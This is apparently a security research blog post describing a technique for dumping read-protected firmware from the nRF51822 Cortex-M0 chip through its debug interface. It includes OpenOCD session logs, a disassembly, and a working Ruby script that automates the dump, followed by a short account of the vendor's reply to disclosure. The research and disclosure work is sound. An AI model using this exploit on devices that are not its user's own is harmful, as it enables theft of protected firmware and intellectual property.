An initial plan to dump the firmware via a debugging interface might be to load some code into RAM that reads the firmware from flash into a RAM buffer that we could then read. However, we don’t have access to RAM because PALL is enabled. Even if PALL were disabled, PR0 could have been enabled, which would prevent our code in RAM (which would be the unprotected region) from reading flash (in the protected region). This plan won’t work if either PALL or PR0 is enabled.

To bypass the memory protections, we need a way to read the protected data and we need a place to write it that we can access. In this case, only code that exists in protected memory can read protected memory. So our method of reading data will be to jump to an instruction in protected memory using our debugger access, and then to execute that instruction. The instruction will read the protected data into a CPU register, at which time we can then read the value out of the CPU register using our debugger access. How do we know what instruction to jump to? We’ll have to blindly search protected memory for a load instruction that will read from an address we supply in a register. Once we’ve found such an instruction, we can exploit it to read out all of the firmware.

Finding a Load Instruction

Our debugger access lets us write to the pc register in order to jump to any instruction, and it lets us single step the instruction execution. We can also read and write the contents of the general purpose CPU registers. In order to read from the protected memory, we have to find a load word instruction with a register operand, set the operand register to a target address, and execute that one instruction. Since we can’t read the flash, we don’t know what instructions are where, so it might seem difficult to find the right instruction. However, all we need is an instruction that reads memory from an address in some register to a register, which is a pretty common operation. A load word instruction would work, or a pop instruction, for example.

We can search for the right instruction using trial and error. First, we set the program counter to somewhere we guess a useful instruction might be. Then, we set all the CPU registers to an address we’re interested in and then single step. Next we examine the registers. If we are lucky, the instruction we just executed loaded data from an address stored in another register. If one of the registers has changed to a value that might exist at the target address, then we may have found a useful load instruction.

We might as well start at the reset vector – at least we know there are valid instructions there. Here we’re resetting the CPU, setting the general purpose registers and stack pointer to zero (the address we’re trying), and single stepping, then examining the registers:

> reset halt
target state: halted
target halted due to debug-request, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114cc msp: 0x20001bd0
> reg r0 0x00000000
r0 (/32): 0x00000000
> reg r1 0x00000000
r1 (/32): 0x00000000
> reg r2 0x00000000
r2 (/32): 0x00000000
> reg r3 0x00000000
r3 (/32): 0x00000000
> reg r4 0x00000000
r4 (/32): 0x00000000
> reg r5 0x00000000
r5 (/32): 0x00000000
> reg r6 0x00000000
r6 (/32): 0x00000000
> reg r7 0x00000000
r7 (/32): 0x00000000
> reg r8 0x00000000
r8 (/32): 0x00000000
> reg r9 0x00000000
r9 (/32): 0x00000000
> reg r10 0x00000000
r10 (/32): 0x00000000
> reg r11 0x00000000
r11 (/32): 0x00000000
> reg r12 0x00000000
r12 (/32): 0x00000000
> reg sp 0x00000000
sp (/32): 0x00000000
> step
target state: halted
target halted due to single-step, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114ce msp: 00000000
> reg
===== arm v7m registers
(0) r0 (/32): 0x00000000
(1) r1 (/32): 0x00000000
(2) r2 (/32): 0x00000000
(3) r3 (/32): 0x10001014
(4) r4 (/32): 0x00000000
(5) r5 (/32): 0x00000000
(6) r6 (/32): 0x00000000
(7) r7 (/32): 0x00000000
(8) r8 (/32): 0x00000000
(9) r9 (/32): 0x00000000
(10) r10 (/32): 0x00000000
(11) r11 (/32): 0x00000000
(12) r12 (/32): 0x00000000
(13) sp (/32): 0x00000000
(14) lr (/32): 0xFFFFFFFF
(15) pc (/32): 0x000114CE
(16) xPSR (/32): 0xC1000000
(17) msp (/32): 0x00000000
(18) psp (/32): 0xFFFFFFFC
(19) primask (/1): 0x00
(20) basepri (/8): 0x00
(21) faultmask (/1): 0x00
(22) control (/2): 0x00
===== Cortex-M DWT registers
(23) dwt_ctrl (/32)
(24) dwt_cyccnt (/32)
(25) dwt_0_comp (/32)
(26) dwt_0_mask (/4)
(27) dwt_0_function (/32)
(28) dwt_1_comp (/32)
(29) dwt_1_mask (/4)
(30) dwt_1_function (/32)

Looks like r3 was set to 0x10001014. Is that the value at address zero? Let’s see what happens when we load the registers with four instead:

> reset halt
target state: halted
target halted due to debug-request, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114cc msp: 0x20001bd0
> reg r0 0x00000004
r0 (/32): 0x00000004
> reg r1 0x00000004
r1 (/32): 0x00000004
> reg r2 0x00000004
r2 (/32): 0x00000004
> reg r3 0x00000004
r3 (/32): 0x00000004
> reg r4 0x00000004
r4 (/32): 0x00000004
> reg r5 0x00000004
r5 (/32): 0x00000004
> reg r6 0x00000004
r6 (/32): 0x00000004
> reg r7 0x00000004
r7 (/32): 0x00000004
> reg r8 0x00000004
r8 (/32): 0x00000004
> reg r9 0x00000004
r9 (/32): 0x00000004
> reg r10 0x00000004
r10 (/32): 0x00000004
> reg r11 0x00000004
r11 (/32): 0x00000004
> reg r12 0x00000004
r12 (/32): 0x00000004
> reg sp 0x00000004
sp (/32): 0x00000004
> step
target state: halted
target halted due to single-step, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114ce msp: 0x00000004
> reg
===== arm v7m registers
(0) r0 (/32): 0x00000004
(1) r1 (/32): 0x00000004
(2) r2 (/32): 0x00000004
(3) r3 (/32): 0x10001014
(4) r4 (/32): 0x00000004
(5) r5 (/32): 0x00000004
(6) r6 (/32): 0x00000004
(7) r7 (/32): 0x00000004
(8) r8 (/32): 0x00000004
(9) r9 (/32): 0x00000004
(10) r10 (/32): 0x00000004
(11) r11 (/32): 0x00000004
(12) r12 (/32): 0x00000004
(13) sp (/32): 0x00000004
(14) lr (/32): 0xFFFFFFFF
(15) pc (/32): 0x000114CE
(16) xPSR (/32): 0xC1000000
(17) msp (/32): 0x00000004
(18) psp (/32): 0xFFFFFFFC
(19) primask (/1): 0x00
(20) basepri (/8): 0x00
(21) faultmask (/1): 0x00
(22) control (/2): 0x00
===== Cortex-M DWT registers
(23) dwt_ctrl (/32)
(24) dwt_cyccnt (/32)
(25) dwt_0_comp (/32)
(26) dwt_0_mask (/4)
(27) dwt_0_function (/32)
(28) dwt_1_comp (/32)
(29) dwt_1_mask (/4)
(30) dwt_1_function (/32)

Nope, r3 gets the same value, so we’re not interested in the first instruction. Let’s continue on to the second:

> reg r0 0x00000000
r0 (/32): 0x00000000
> reg r1 0x00000000
r1 (/32): 0x00000000
> reg r2 0x00000000
r2 (/32): 0x00000000
> reg r3 0x00000000
r3 (/32): 0x00000000
> reg r4 0x00000000
r4 (/32): 0x00000000
> reg r5 0x00000000
r5 (/32): 0x00000000
> reg r6 0x00000000
r6 (/32): 0x00000000
> reg r7 0x00000000
r7 (/32): 0x00000000
> reg r8 0x00000000
r8 (/32): 0x00000000
> reg r9 0x00000000
r9 (/32): 0x00000000
> reg r10 0x00000000
r10 (/32): 0x00000000
> reg r11 0x00000000
r11 (/32): 0x00000000
> reg r12 0x00000000
r12 (/32): 0x00000000
> reg sp 0x00000000
sp (/32): 0x00000000
> step
target state: halted
target halted due to single-step, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114d0 msp: 00000000
> reg
===== arm v7m registers
(0) r0 (/32): 0x00000000
(1) r1 (/32): 0x00000000
(2) r2 (/32): 0x00000000
(3) r3 (/32): 0x20001BD0
(4) r4 (/32): 0x00000000
(5) r5 (/32): 0x00000000
(6) r6 (/32): 0x00000000
(7) r7 (/32): 0x00000000
(8) r8 (/32): 0x00000000
(9) r9 (/32): 0x00000000
(10) r10 (/32): 0x00000000
(11) r11 (/32): 0x00000000
(12) r12 (/32): 0x00000000
(13) sp (/32): 0x00000000
(14) lr (/32): 0xFFFFFFFF
(15) pc (/32): 0x000114D0
(16) xPSR (/32): 0xC1000000
(17) msp (/32): 0x00000000
(18) psp (/32): 0xFFFFFFFC
(19) primask (/1): 0x00
(20) basepri (/8): 0x00
(21) faultmask (/1): 0x00
(22) control (/2): 0x00
===== Cortex-M DWT registers
(23) dwt_ctrl (/32)
(24) dwt_cyccnt (/32)
(25) dwt_0_comp (/32)
(26) dwt_0_mask (/4)
(27) dwt_0_function (/32)
(28) dwt_1_comp (/32)
(29) dwt_1_mask (/4)
(30) dwt_1_function (/32)

OK, this time r3 was set to 0x20001BD0. Is that the value at address zero? Let’s see what happens when we run the second instruction with the registers set to 4:

> reset halt
target state: halted
target halted due to debug-request, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114cc msp: 0x20001bd0
> step
target state: halted
target halted due to single-step, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114ce msp: 0x20001bd0
> reg r0 0x00000004
r0 (/32): 0x00000004
> reg r1 0x00000004
r1 (/32): 0x00000004
> reg r2 0x00000004
r2 (/32): 0x00000004
> reg r3 0x00000004
r3 (/32): 0x00000004
> reg r4 0x00000004
r4 (/32): 0x00000004
> reg r5 0x00000004
r5 (/32): 0x00000004
> reg r6 0x00000004
r6 (/32): 0x00000004
> reg r7 0x00000004
r7 (/32): 0x00000004
> reg r8 0x00000004
r8 (/32): 0x00000004
> reg r9 0x00000004
r9 (/32): 0x00000004
> reg r10 0x00000004
r10 (/32): 0x00000004
> reg r11 0x00000004
r11 (/32): 0x00000004
> reg r12 0x00000004
r12 (/32): 0x00000004
> reg sp 0x00000004
sp (/32): 0x00000004
> step
target state: halted
target halted due to single-step, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114d0 msp: 0x00000004
> reg
===== arm v7m registers
(0) r0 (/32): 0x00000004
(1) r1 (/32): 0x00000004
(2) r2 (/32): 0x00000004
(3) r3 (/32): 0x000114CD
(4) r4 (/32): 0x00000004
(5) r5 (/32): 0x00000004
(6) r6 (/32): 0x00000004
(7) r7 (/32): 0x00000004
(8) r8 (/32): 0x00000004
(9) r9 (/32): 0x00000004
(10) r10 (/32): 0x00000004
(11) r11 (/32): 0x00000004
(12) r12 (/32): 0x00000004
(13) sp (/32): 0x00000004
(14) lr (/32): 0xFFFFFFFF
(15) pc (/32): 0x000114D0
(16) xPSR (/32): 0xC1000000
(17) msp (/32): 0x00000004
(18) psp (/32): 0xFFFFFFFC
(19) primask (/1): 0x00
(20) basepri (/8): 0x00
(21) faultmask (/1): 0x00
(22) control (/2): 0x00
===== Cortex-M DWT registers
(23) dwt_ctrl (/32)
(24) dwt_cyccnt (/32)
(25) dwt_0_comp (/32)
(26) dwt_0_mask (/4)
(27) dwt_0_function (/32)
(28) dwt_1_comp (/32)
(29) dwt_1_mask (/4)
(30) dwt_1_function (/32)

This time, r3 got 0x00014CD. This value actually strongly implies we’re reading memory. Why? The value is actually the reset vector. According to the Cortex-M0 documentation, the reset vector is at address 4, and when we reset the chip, the PC is set to 0x000114CC (the least significant bit is set in the reset vector, changing C to D, because the Cortex-M0 operates in Thumb mode).

Let’s try reading the two instructions we just were testing:

reset halt
target state: halted
target halted due to debug-request, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114cc msp: 0x20001bd0
> step
target state: halted
target halted due to single-step, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114ce msp: 0x20001bd0
> reg r0 0x000114cc
r0 (/32): 0x000114CC
> reg r1 0x000114cc
r1 (/32): 0x000114CC
> reg r2 0x000114cc
r2 (/32): 0x000114CC
> reg r3 0x000114cc
r3 (/32): 0x000114CC
> reg r4 0x000114cc
r4 (/32): 0x000114CC
> reg r5 0x000114cc
r5 (/32): 0x000114CC
> reg r6 0x000114cc
r6 (/32): 0x000114CC
> reg r7 0x000114cc
r7 (/32): 0x000114CC
> reg r8 0x000114cc
r8 (/32): 0x000114CC
> reg r9 0x000114cc
r9 (/32): 0x000114CC
> reg r10 0x000114cc
r10 (/32): 0x000114CC
> reg r11 0x000114cc
r11 (/32): 0x000114CC
> reg r12 0x000114cc
r12 (/32): 0x000114CC
> reg sp 0x000114cc
sp (/32): 0x000114CC
> step
target state: halted
target halted due to single-step, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114d0 msp: 0x000114cc
> reg r3
r3 (/32): 0x681B4B13

The r3 register has the value 0x681B4B13. That disassembles to two load instructions, the first relative to the pc, the second relative to r3:

$ printf "x13x4bx1bx68" > /tmp/armcode

$ arm-none-eabi-objdump -D --target binary -Mforce-thumb -marm /tmp/armcode




/tmp/armcode:     file format binary

Disassembly of section .data:

00000000 <.data>:
   0:   4b13            ldr     r3, [pc, #76]   ; (0x50)
   2:   681b            ldr     r3, [r3, #0]

In case you don’t read Thumb assembly, that second instruction is a load register instruction (ldr); it’s taking an address from the r3 register, adding an offset of zero, and loading the value from that address into the r3 register.

We’ve found a load instruction that lets us read memory from an arbitrary address. Again, this is useful because only code in the protected memory can read the protected memory. The trick is that being able to read and write CPU registers using OpenOCD lets us execute those instructions however we want. If we hadn’t been lucky enough to find the load word instruction so close to the reset vector, we could have reset the processor and written a value to the pc register (jumping to an arbitrary address) to try more instructions. Since we were lucky though, we can just step through the first instruction.

Dumping the Firmware

Now that we’ve found a load instruction that we can execute to read from arbitrary addresses, our firmware dumping process is as follows:

  1. Reset the CPU
  2. Single step (we don’t care about the first instruction)
  3. Put the address we want to read from into r3
  4. Single step (this loads from the address in r3 to r3)
  5. Read the value from r3

Here’s a ruby script to automate the process:

#!/usr/bin/env ruby

require 'net/telnet'

debug = Net::Telnet::new("Host" => "localhost", 
                         "Port" => 4444)

dumpfile = File.open("dump.bin", "w")

((0x00000000/4)...(0x00040000)/4).each do |i|
  address = i * 4
  debug.cmd("reset halt")
  debug.cmd("step")
  debug.cmd("reg r3 0x#{address.to_s 16}")
  debug.cmd("step")
  response = debug.cmd("reg r3")
  value = response.match(/: 0x([0-9a-fA-F]{8})/)[1].to_i 16
  dumpfile.write([value].pack("V"))
  puts "0x%08x:  0x%08x" % [address, value]
end

dumpfile.close
debug.close

The ruby script connects to the OpenOCD user interface, which is available via a telnet connection on localhost. It then loops through addresses that are multiples of four, using the load instruction we found to read data from those addresses.

Vendor Response

IncludeSec contacted NordicSemi via their customer support channel where they received a copy of this blog post. From NordicSemi customer support: We take this into consideration together with other factors, and the discussions around this must be kept internal.”
We additionally reached out to the only engineer who had security in his title and he didn’t really want a follow-up Q&A call or further info and redirected us to only talk to customer support. So that’s about all we can do for coordinated disclosure on our side.

Conclusion

Once we have a copy of the firmware image, we can do whatever disassembly or reverse engineering we want with it. We can also now disable the chip’s PALL protection in order to more easily debug the code. To disable PALL, you need to erase the chip, but that’s not a problem since we can immediately re-flash the chip using the dumped firmware. Once that the chip has been erased and re-programmed to disable the protection we can freely use the debugger to: read and write RAM, set breakpoints, and so on. We can even attach GDB to OpenOCD, and debug the firmware that way.

The technique described here won’t work on all microcontrollers or SoCs; it only applies to situations where you have access to a debugging interface that can read and write CPU registers but not protected memory. Despite the limitation though, the technique can be used to dump firmware from nRF51822 chips and possibly others that use similar protections. We feel this is a vulnerability in the design of the nRF51822 code protection.

Are you using other cool techniques to dump firmware? Do you know of any other microcontrollers or SoCs that might be vulnerable to this type of code protection bypass? Let us know in the comments.

The post Firmware dumping technique for an ARM Cortex-M0 SoC appeared first on Include Security Research Blog.

❌
❌